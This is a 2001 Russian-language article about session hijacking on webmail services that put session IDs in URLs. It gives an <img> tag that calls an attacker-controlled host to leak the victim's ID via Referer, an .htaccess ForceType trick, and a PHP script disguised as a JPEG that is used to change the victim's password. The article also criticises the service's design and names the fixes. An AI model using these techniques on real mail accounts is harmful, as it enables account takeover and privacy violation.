Дверца в защите: почтовый веб-интерфейс
DL
6.3.2001
Сегодня я хочу рассказать уважаемой публике, как можно воровать адреса с некоторых веб-мейлов. Я сказал "как можно", а не "как нужно"! Успокойтесь, ничего особо ценного, как "инструментарий юного хацкера" в этой заметке не будет. Просто демонстрация возможностей PHP и недостатков (вопиющих недостатков!) некоторых почтовых веб-интерфейсов.
A. V. Komlin, [] Очень полезная статья.
Описывается сервис [].
Первое же тестирование выявило, что сервер подвержен простейшим ошибкам в фильтрации скриптов и других опасных тегов, но это оказалось не самым худшим.
Как уже было отмечено? во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) , и разумеется (думал я) IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик оказалось возможным зайти с другого адреса, например после обрыва соединения! Более того не требовалось и поддержки "пирожков" (хотя узнать их при возможности выполнить скрипт проблемой не являлось).
Фактически, для несанкционированного просмотра ящика, достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег провоцирующий браузер на автоматическое обращение к машине атакующего (например с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика <img src=http://адрес_машины_взломщика:порт/anyname.gif width=1 height=1>) и, дождавшись пока жертва зайдёт читать почту, посмотреть поле "Referer:" в заголовке пришедшего запроса!
----------
GET /anyname.gif HTTP/1.0
Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5
Connection: Keep-Alive
...
--------
Пример java-утилиты для прослушивания порта.
[skip]
Атакующему осталось только отключить поддержку cookies в своём браузере, полностью набрать указанный в Referer адрес и параллельно "работать с почтой " (почитать письма ,установить пересылку...) пока хозяин не выйдет из неё.
Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придётся отправить дополнительное письмо с кодом подтверждения).
На самом деле, можно поставить взлом ящиков на поток и не караулить жертв, сидя на линии.
Итак, мы имеем почтовый сервис, который
а) авторизует пользователей по технологии аналогичной [].
б) не делает проверки IP-адресов
в) не проверяет содержимое писем формата html
г) не требует подтверждений изменений системных настроек
А проверка содержимого должна заключаться помимо всего прочего и в безжалостной резке всех картинок, которые не идут в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК, ВСЕХ!
Мы же, крутые хацкеры, используем Apache+PHP.
Итак, что мы делаем.
1. Отправляем по разным адресам почтового сервиса письма в формате html с тегом
<img src=http://www.server.com/picture.jpg>
например, с поздравительной открыткой. :)
2. В директории с открыткой кладем файл .htaccess следующего содержания:
<Files "picture.jpg">
ForceType application/x-httpd-php
</Files>
3. Вместо открытки пишем файл picture.jpg с таким кодом:
<?
header("Content-type: image/gif");
include("otkrytka.jpg");
4. А поздравительную открытку кладем именно в файл otkrytka.jpg.
Директива ForceType в .htaccess заставляет сервер обрабатывать файл .jpg как скрипт php, который по завершении работы выдает пользователю картинку, и узнать, что скрипт что-то там делал, невозможно. А скрипт делает простую вещь ? разбирает переменную , выкусывает оттуда идентификатор сессии и... в два приема лишает пользователя ящика. На машине жертвы не происходит ничего, все делает скрипт на сервере злоумышленника:
5. [] с веб-мэйлом, имитируя отправку формы системных настроек (имена переменных надо написать ручками), а именно изменение пароля на нужный злоумышленнику (и, например, уведомляет автора о том, что такой-то ящик захвачен). Дабы не вызвать подозрений, можно формировать нужные заголовки ? рефереры, user agent и т.п.
6. Открывает второй сокет, имитируя нажатие кнопки "выход".
* Сокет - сетевое соединение. В данном случае точно такое же, как и соединение между веб-сервером и браузером.
ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как следует рассмотреть картинку. Следующее, что он увидит ? сообщение типа "неправильный пароль, войдите еще раз".
Получается, что дырка в защите такого почтового сервиса (не Hotbox.ru, замечу, там что-то все-таки закрыто) на самом деле ? целая дверь. Сочетание передачи идентификатора сессии через ссылку (т.е. доступного кому угодно через поле Referer), а не через cookie и отсутствия проверки IP-адреса дает злоумышленнику возможность быстро и легко перехватить управление ящиком. Проверка же картинок здесь не спасает ? ничто не мешает вставить в текст письма ссылку, нажав на которую, пользователь передаст скрипту идентификатор сессии. Стоят ли удобства таких жертв? Думаю, нет.
